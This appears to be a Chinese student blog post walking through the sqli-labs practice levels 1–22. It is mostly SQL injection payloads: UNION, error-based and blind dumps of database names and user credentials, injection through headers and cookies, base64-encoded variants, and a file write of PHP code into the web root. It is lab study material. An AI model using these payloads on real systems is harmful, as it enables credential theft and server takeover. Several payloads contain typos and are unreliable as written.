当前位置: 首页 > news >正文

web第四周

sqli-labs 1-22

less-1

在url后加上?id=1and id=2?id=1' order by 3--+ 正常 判断回显位有三个。?id=1' and 1=2 union select 1,2,group_concat(schema_name) from information_schema.schemata--+
联合注入
爆出库是 ctfshow,ctftraining,information_schema,mysql,performance_schema,security,test?id=1' and 1=2 union select 1,2,group_concat(table_name)from information_schema.tables where table_schema='ctfshow'--+
爆出表是 flag?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema= 'security' and table_name='users'),3 --+?id=1' and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='flag'--+爆出列是id,flag

爆表

?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

爆字段名

?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+通过上述操作可以得到两个敏感字段就是username和password,接下来我们就要得到该字段对应的内容。
?id=-1' union select 1,2,group_concat(username ,id , password) from users--+

less-2

判断表有几列,使用 ORDER BY 子句进行一个排序

测试到第 4 列无回显,说明表中一共有 3 列

?id=1') ORDER BY 4--+尝试闭合查看是否存在SQL注入:查看那些地方可以回显
?id=-1 union select 1,2,3--+查看数据库名称:
?id=-1 union select 1,databse(),3 --+
?id=-1 union select 1,2,group_concat(schema_name) from information_schema.schemata --+查看数据库中所有的表:
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+查看表中的所有字段:
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'--查看数据:
?id=-1 union select 1,2,group_concat(concat_ws(0x7e,username,password)) from security.users --+

less-3

判断表有几列,使用 ORDER BY 子句进行一个排序

测试到第 4 列无回显,说明表中一共有 3 列

?id=1') ORDER BY 4--+判断数据显示点 (id一定要改为0或负数),使用 UNION 进行组合查询

?id=-1') union select 1,2,3--+爆数据库(版本)名,database() 函数可以回显当前使用的数据库,我们将对它进行查询

?id=-1') union select 1,database(),version()--+

爆表名,使用 group_concat() 函数合并查询结果

?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

爆 users 表的字段

?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

查询数据

?id=-1") union select 1,group_concat(username),group_concat(password) from users--+

less-4

这关输入id=1'是不会报错,字段本身是int类型

找列数
?id=1") order by 3 --+
?id=1") order by 4 --+

确定当前数据库

?id=-1") union select 1,2,database() --+

出当前数据库内的所有表名

?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+

爆出当前数据库user表的所有列名

?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database() --+

爆出当前数据库user表所有username和password

?id=-1") union select 1,group_concat(username),group_concat(password) from users --+

less-5

存在注入,那么我们可以来尝试查询一下数据库的列数
?id=1' order by 3 --+
?id=1' order by 4 --+利用报错注入来进行:
?id=1' and extractvalue(1,concat(0x7e,(select database()),0x7e))--+
?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+id=1'and updatexml(1,(select concat(username,0x7e,password) from users limit 0,1),1) --+

less-6

判断是否存在注入:?id=1" and 1=1 -- qwe判断库名:?id=1" and updatexml (1,concat (0x7e,(SELECT database ()),0x7e),1)-- qwe判断表名:?id=1" and updatexml (1,concat (0x7e,(select table_name from information_schema.tables where table_schema='security'limit 0,1),0x7e),1)-- qwe判断列名:?id=1 "and updatexml (1,concat (0x7e,(select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1),0x7e),1)-- qwe判断数据:?id=1 "and updatexml (1,concat (0x7e,(select id from emails limit 0,1),0x7e),1)-- qwe

less-7

?id=1?id=1%27))%20%20union%20select%201,"<?phpinfo();?>",3%20into%20outfile%20"D:/phpstudy_pro/WWW/sqli-labs-php7-master/Less-7//aaa.php"%20--+

less-8

猜解库名长度
?id=1' and (length (database ()))=8 -- qwe利用 ASCII 码猜解当前数据库名称:
?id=1' and (ascii (substr (database (),1,1)))=115-- qwe 返回正常,说明数据库名称第一位是 s?id=1' and (ascii (substr (database (),2,1)))=101-- qwe 返回正常,说明数据库名称第二位是 e猜表名:
?id=1' and (ascii (substr (select table_name from information_schema.tables where table_schema=database () limit 0,1),1,1))=101-- qwe 如果返回正常,说明数据库表名的第一个的第一位是 e猜字段名
and (ascii (substr ((select column_name from information_schema.columns where table_name='emails' limit 0,1),1,1)))=105-- qwe 如果返回正常,说明 emails 表中的列名称第一位是 i

less-9

猜解库名长度
?id=1'and if (length (database ())=8,sleep (5),1) -- qwe利用 ASCII 码猜解当前数据库名称
:?id=1' and if ((ascii (substr (database (),1,1))=115),sleep (5),1) -- qwe
延时,说明数据库名称第一位是 s猜表名:
?id=1' and if ((ascii (substr ((select table_name from information_schema.tables where table_schema=database () limit 0,1),1,1))=101),sleep (5),1) -- qwe
延时,说明数据库表名的第一个的第一位是 e猜字段名
?id=1' and if ((ascii (substr ((select column_name from information_schema.columns where table_name='emails' limit 0,1),1,1))=105),sleep (5),1) -- qwe
如果返回正常,说明 emails 表中的列名称第一位是 i

less-10

猜解库名长度
?id=1" and if (length (database ())=8,sleep (5),1)-- qwe利用 ASCII 码猜解当前数据库名称:
?id=1" and if ((ascii (substr (database (),1,1))=115),sleep (5),1) -- qwe
延时,说明数据库名称第一位是 s?id=1" and if ((ascii (substr ((select table_name from information_schema.tables where table_schema=database () limit 0,1),1,1))=101),sleep (5),1) -- qwe
延时,说明数据库名称第二位是 e猜表名:
?id=1" and if ((ascii (substr ((select table_name from information_schema.tables where table_schema=database () limit 0,1),1,1))=101),sleep (5),1) -- qwe
延时,说明数据库表名的第一个的第一位是 e猜字段名
?id=1"and if ((ascii (substr ((select column_name from information_schema.columns where table_name="emails" limit 0,1),1,1))=105),sleep (5),1) -- qwe
如果返回正常,说明 emails 表中的列名称第一位是 i

less-11

尝试万能密码:'or 1=1 -- qwe判断字段数:'or 1=1 order by 2 -- qwe判断显错位: 'union select 1,2 -- qwe判断库名:' union select 1,database () -- qwe判断表名:'union select 1,table_name from information_schema.tables where table_schema='security' -- qwe判断列名:'union select 1,column_n!ame from information_schema.columns where table_schema='security' and table_name='emails' -- qwe判断数据:'union select 1,id from emails-- qwe' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security'#' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#' union select 1,group_concat(username,password) from users#

less-12

尝试万能密码:") or 1=1 -- qwe判断字段数:") or 1=1 order by 2 -- qwe判断库名:") union select 1,database () -- qwe判断表名:") union select 1,table_name from information_schema.tables where table_schema='security' -- qwe判断列名:")'union select 1,column_name from information_schema.columns where table_schema='securitynd table_name='emails' -- qwe判断数据:") union select 1,id from emails-- qwe

less-13

判断是否存在注入:?id=1' and 1=1 -- qwe

判断库名: ') and updatexml (1,concat (0x7e,(SELECT database ()),0x7e),1)-- qwe判断表名: ') and updatexml (1,concat (0x7e,(select table_name from information_schema.tables where table_schema='security'limit 0,1),0x7e),1)-- qwe判断列名: ') and updatexml (1,concat (0x7e,(select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1),0x7e),1)-- qwe判断数据: ') and updatexml (1,concat (0x7e,(select id from emails limit 0,1),0x7e),1)-- qwe

less-14

判断是否存在注入:?id=1" and 1=1 -- qwe判断库名: "and updatexml (1,concat (0x7e,(SELECT database ()),0x7e),1)-- qwe判断表名: "and updatexml (1,concat (0x7e,(select table_name from information_schema.tables where table_schema='security'limit 0,1),0x7e),1)-- qwe判断列名: "and updatexml (1,concat (0x7e,(select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1),0x7e),1)-- qwe!判断数据: "and updatexml (1,concat (0x7e,(select id from emails limit 0,1),0x7e),1)-- qwe

less-15

猜解库名长度
'or (length (database ()))=8 -- qwe利用 ASCII 码猜解当前数据库名称:
'or (ascii (substr (database (),1,1)))=115-- qwe
返回正常,说明数据库名称第一位是 s'or (ascii (substr (database (),2,1)))=101-- qwe
返回正常,说明数据库名称第二位是 e猜表名:
'or (ascii (substr ((select table_name from information_schema.tables where table_schema=database () limit 0,1),1,1)))=101-- qwe
如果返回正常,说明数据库表名的第一个的第一位是 e猜字段名
'or (ascii (substr ((select column_name from information_schema.columns where table_name='emails' limit 0,1),1,1)))=105-- qwe
如果返回正常,说明 emails 表中的列名称第一位是 i' or 1=1#‘ or length(database())=8#' or substr((database()),1,8)='security'#' or length((select group_concat(table_name) from information_schema.tables where table_schema='security'))=29#' or substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)='e'#' or substr((select group_concat(column_name) from information_schema.columns where table_name='emails'),1,1)='i'#' or substr((select group_concat(id,email_id) from emails),1,1)='1'#

less-16

")or 1=1#")or length(database())=8#") or substr((database()),1,8)='security'#")or length((select group_concat(table_name) from information_schema.tables where table_schema='security'))=29#")or substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)='e'#") or substr((select group_concat(column_name) from information_schema.columns where table_name='emails'),1,1)='i'#")or substr((select group_concat(id,email_id) from emails),1,1)='1'#

less-17

成功更新username:admin
newpassword:12' and (updatexml(1,concat(0x7e, database(),0x7e),1))#判断是否存在注入:'or 1=1 -- qwe判断库名:'and updatexml (1,concat (0x7e,(SELECT database ()),0x7e),1)-- qwe判断表名:'and updatexml (1,concat (0x7e,(select table_name from information_schema.tables where table_schema='security'limit 0,1),0x7e),1)-- qwe判断列名:'and updatexml (1,concat (0x7e,(select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1),0x7e),1)-- qwe判断数据:'and updatexml (1,concat (0x7e,(select id from emails limit 0,1),0x7e),1)-- qwe

less-18

User-Agent可以显示到页面中,那么我们就可以尝试抓包然后在User-Agent中进行注入:提取当前数据库名`' and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1) --提取 security 库第一个表名`' and updatexml(1,concat(0x7e,(SELECT table_name FROM information_schema.tables WHERE table_schema='security' LIMIT 0,1),0x7e),1) --`' and extractvalue(1,concat(0x7e,(select database()),0x7e)) or '' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e)) or '查询当前数据库内所有表名
1',2,updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1))#查询列名
1',2,updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema= 'security' and table_name='users'),0x7e),1))#查询数据
1',2,extractvalue(1,concat(0x7e,mid((select group_concat(username) from users),n,n),0x7e)))#1',2,extractvalue(1,concat(0x7e,mid((select group_concat(password) from users),n,n),0x7e)))#1',2,extractvalue(1,concat(0x7e,mid((select group_concat(username,'^',password) from users),n,n),0x7e)))#

less-19

referer可以显示到页面中,那么我们就可以尝试抓包然后在referer中进行注入:查询数据库名称

1',extractvalue(1,concat(0x7e,(select database()),0x7e)))#查询当前数据库内所有表名
1',extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e)))#查询列名
1',extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema= 'security' and table_name='users'),0x7e)))#

查询数据

1',extractvalue(1,concat(0x7e,mid((select group_concat(username) from users),n,n),0x7e)))#

1',extractvalue(1,concat(0x7e,mid((select group_concat(password) from users),n,n),0x7e)))#

1',extractvalue(1,concat(0x7e,mid((select group_concat(username,'^',password) from users),n,n),0x7e)))#

less-20

cookie是可以显示到页面,就可以利用抓包然后修改cookie的值为注入语句来注入出数据判断数据库列数
输入 Dumb' order by 3# 和 Dumb' order by 4# ,发现 3 没有报错而 4 报错了,说明数据库总共有三列显示可显字段
输入 -Dumb' union select 1,2,3# 显示字段,可知 name 和 password 分别在第二列和第三列查询数据库名称
-Dumb' union select 1,database(),version()#查询当前数据库内所有表名
-Dumb' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'#查询列名
-Dumb' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema= 'security' and table_name='users'#查询数据
-Dumb' union select 1,group_concat(username),group_concat(password) from users#

less-21

判断数据库列数
输入 Dumb') order by 3#_`RHVtYicpIG9yZGVyIGJ5IDMj`_ 和 Dumb') order by 4#_`RHVtYicpIG9yZGVyIGJ5IDQj`_ ,发现 3 没有报错而 4 报错了,说明数据库总共有三列显示可显字段
输入 -Dumb') union select 1,2,3#_`LUR1bWInKSB1bmlvbiBzZWxlY3QgMSwyLDMj`_ 显示字段,可知 name 和 password 分别在第二列和第三列查询数据库名称
-Dumb') union select 1,database(),version()#
base64编码后:
_`LUR1bWInKSB1bmlvbiBzZWxlY3QgMSxkYXRhYmFzZSgpLHZlcnNpb24oKSM=查询当前数据库内所有表名
-Dumb') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'#
base64编码后:
LUR1bWInKSB1bmlvbiBzZWxlY3QgMSwyLGdyb3VwX2NvbmNhdCh0YWJsZV9uYW1lKSBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS50YWJsZXMgd2hlcmUgdGFibGVfc2NoZW1hPSdzZWN1cml0eScj

查询列名
-Dumb') union select 1,2,group_concat(column_name) from information_schema.columns where table_schema= 'security' and table_name='users'#

base64编码后:_`LUR1bWInKSB1bmlvbiBzZWxlY3QgMSwyLGdyb3VwX2NvbmNhdChjb2x1bW5fbmFtZSkgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEuY29sdW1ucyB3aGVyZSB0YWJsZV9zY2hlbWE9ICdzZWN1cml0eScgYW5kIHRhYmxlX25hbWU9J3VzZXJzJyM=查询数据
-Dumb') union select 1,group_concat(username),group_concat(password) from users#
base64编码后:
LUR1bWInKSB1bmlvbiBzZWxlY3QgMSxncm91cF9jb25jYXQodXNlcm5hbWUpLGdyb3VwX2NvbmNhdChwYXNzd29yZCkgZnJvbSB1c2VycyM=
构造注入 Payload
base64编码后:
JylhbmQgdXBkYXRleG1sKDEsY29uY2F0KDB4N2UsKFNFTEVDVCBkYXRhYmFzZSgpKSwweDdlKSwxKSBhbmQgKCcxJz0nMQ==提取 security 库第一个表名
')and updatexml(1,concat(0x7e,(SELECT table_name FROM information_schema.tables WHERE table_schema='security' LIMIT 0,1),0x7e),1) and ('1'='1
base64编码后:
JylhbmQgdXBkYXRleG1sKDEsY29uY2F0KDB4N2UsKFNFTEVDVCB0YWJsZV9uYW1lIEZST00gaW5mb3JtYXRpb25fc2NoZW1hLnRhYmxlcyBXSEVSRSB0YWJsZV9zY2hlbWE9J3NlY3VyaXR5JyBMSU1JVCAwLDEpLDB4N2UpLDEpIGFuZCAoJzEnPScx提取 emails 表第一个列名
')and updatexml(1,concat(0x7e,(SELECT column_name FROM information_schema.columns WHERE table_schema='security' AND table_name='emails' LIMIT 0,1),0x7e),1) and ('1'='1
base64编码后:
JylhbmQgdXBkYXRleG1sKDEsY29uY2F0KDB4N2UsKFNFTEVDVCBjb2x1bW5fbmFtZSBGUk9NIGluZm9ybWF0aW9uX3NjaGVtYS5jb2x1bW5zIFdIRVJFIHRhYmxlX3NjaGVtYT0nc2VjdXJpdHknIEFORCB0YWJsZV9uYW1lPSdlbWFpbHMnIExJTUlUIDAsMSksMHg3ZSksMSkgYW5kICgnMSc9JzE=

less-22

判断数据库列数
输入 Dumb" order by 3#_`RHVtYiIgb3JkZXIgYnkgMyM=`_ 和 Dumb" order by 4#_`RHVtYiIgb3JkZXIgYnkgNCM=`_ ,发现 3 没有报错而 4 报错了,说明数据库总共有三列显示可显字段
输入 -Dumb" union select 1,2,3#_`LUR1bWIiIHVuaW9uIHNlbGVjdCAxLDIsMyM=`_ 显示字段,可知 name 和 password 分别在第二列和第三列查询数据库名称
-Dumb" union select 1,database(),version()#
base64编码后:
_`LUR1bWIiIHVuaW9uIHNlbGVjdCAxLGRhdGFiYXNlKCksdmVyc2lvbigpIw==

查询当前数据库内所有表名
-Dumb" union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'#

base64编码后:_`LUR1bWIiIHVuaW9uIHNlbGVjdCAxLDIsZ3JvdXBfY29uY2F0KHRhYmxlX25hbWUpIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLnRhYmxlcyB3aGVyZSB0YWJsZV9zY2hlbWE9J3NlY3VyaXR5JyM=查询列名
-Dumb" union select 1,2,group_concat(column_name) from information_schema.columns where table_schema= 'security' and table_name='users'#
base64编码后:
_`LUR1bWIiIHVuaW9uIHNlbGVjdCAxLDIsZ3JvdXBfY29uY2F0KGNvbHVtbl9uYW1lKSBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS5jb2x1bW5zIHdoZXJlIHRhYmxlX3NjaGVtYT0gJ3NlY3VyaXR5JyBhbmQgdGFibGVfbmFtZT0ndXNlcnMnIw==查询数据
-Dumb" union select 1,group_concat(username),group_concat(password) from users#
base64编码后:_`LUR1bWIiIHVuaW9uIHNlbGVjdCAxLGdyb3VwX2NvbmNhdCh1c2VybmFtZSksZ3JvdXBfY29uY2F0KHBhc3N3b3JkKSBmcm9tIHVzZXJzIw==

http://www.jsqmd.com/news/124171/

相关文章:

  • Iwara视频下载终极指南2025:3步轻松获取高清资源
  • springboot人口老龄化社区活动老年人服务和管理平台 _xl261auu
  • 使用Arduino框架开发ESP32多任务系统学习
  • USB转串口驱动安装失败的7种常见原因及设备管理器对应表现
  • java计算机毕业设计网上竞拍系统 基于SpringBoot的在线竞价交易平台 JavaWeb实现的网络拍卖管理系统
  • 飞书文档批量导出神器:跨平台自动化迁移解决方案
  • 飞书文档批量导出神器:一键解决文档迁移难题
  • 网易云音乐NCM文件格式转换指南:3步实现音频兼容
  • 【Open-AutoGLM核心技术剖析】:从虚拟化到AI推理的全栈实现路径
  • 基于SpringBoot的网页即时聊天系统
  • ViGEmBus控制器模拟:3分钟解决所有兼容性问题
  • 一键去论文AI痕迹!2025最top的2款智能降AI率工具,保留原意无痕降AI
  • 电脑大屏玩转手机应用:QtScrcpy跨平台投屏完全指南
  • 手把手教你实现QListView数据动态刷新
  • Open-AutoGLM论文隐藏细节首次披露:90%研究者都忽略的关键模块
  • springboot仁康医院预约挂号系统_80dh4j41
  • Switch手柄连接电脑的终极指南:从零开始到完美体验
  • java计算机毕业设计网上排课系统的设计与实现 基于SpringBoot的智能课程调度管理平台 JavaWeb高校自动课表编排系统
  • DLSS Swapper终极指南:5步实现游戏性能飞跃
  • Vue-Office快速上手:3步搞定Web端Office文档预览
  • VBA-JSON实战指南:在Office环境中高效处理JSON数据
  • 35岁转行,晚吗?
  • BetterGI自动化助手深度使用手册:开启智能游戏新体验
  • Iwara视频下载终极指南:3步实现高速批量下载
  • ncmdump:免费快速的网易云音乐NCM文件终极解密方案
  • 六音音源修复版完整使用教程
  • AlwaysOnTop:解锁多任务处理新境界的窗口置顶神器
  • 移动端代码编辑革命:在安卓设备上构建本地VS Code环境
  • Vue-Office前端文档预览神器:3步搞定Web端Office文件在线展示
  • Windows 11 Android应用运行环境:终极配置与问题解决指南